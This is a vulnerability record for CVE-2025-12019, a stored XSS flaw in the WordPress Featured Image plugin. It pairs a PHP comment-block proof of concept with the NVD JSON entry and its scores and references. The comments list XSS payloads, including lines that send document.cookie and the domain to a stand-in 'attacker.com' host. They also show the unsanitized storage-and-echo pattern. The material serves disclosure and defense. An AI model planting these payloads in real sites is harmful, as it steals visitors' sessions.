CVE-2025-12019

<?php /** * CVE-2025-12019 PoC - WordPress Featured Image Plugin Stored XSS * Author: Security Researcher * Description: Exploit for Stored XSS via image metadata in Featured Image plugin <= 2.1 */ // PoC methodology: // 1. Attacker with admin+ privileges uploads a malicious image // 2. Image metadata contains XSS payload in fields like EXIF data or description // 3. Payload: <img src=x onerror=alert(document.cookie)> or <script>alert('XSS')</script> // 4. When image is displayed, the malicious script executes in victim's browser // Example malicious EXIF metadata injection: // - Inject into Image Description field: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> // - Or use img tag with onerror: <img src=x onerror=fetch('https://attacker.com/?d='+btoa(document.domain))> // The vulnerable code pattern (simplified): /* // featured-image.php line ~26,35,65 $image_metadata = $_POST['featured_image_metadata']; // User input without sanitization update_post_meta($post_id, '_featured_image_metadata', $image_metadata); // Stored directly // Later when displayed: echo $metadata; // Output without escaping, triggers XSS */ // Mitigation: Use sanitize_text_field() and esc_html() or esc_attr() for all user inputs/outputs

{"cve": {"id": "CVE-2025-12019", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:45.797", "lastModified": "2026-04-08T19:23:08.273", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Featured Image plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image metadata in all versions up to, and including, 2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mer.vin:featured_image:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "2.1", "matchCriteriaId": "59244D41-E48C-4459-AFDB-1EFCABCC9D2D"}]}]}], "references": [{"url": "https://github.com/zast-ai/vulnerability-reports/blob/main/wordpress/plugin/featured-image/stored-xss.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://plugins.trac.wordpress.org/browser/featured-image/tags/2.1/featured-image.php#L26", "source": "[email protected]", "tags": ["URL Repurposed"]}, {"url": "https://plugins.trac.wordpress.org/browser/featured-image/tags/2.1/featured-image.php#L35", "source": "[email protected]", "tags": ["URL Repurposed"]}, {"url": "https://plugins.trac.wordpress.org/browser/featured-image/tags/2.1/featured-image.php#L65", "source": "[email protected]", "tags": ["URL Repurposed"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3392100/", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/featured-image/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fa16605a-12bd-48a8-b9a9-db53bf3c2c39?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/zast-ai/vulnerability-reports/blob/main/wordpress/plugin/featured-image/stored-xss.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}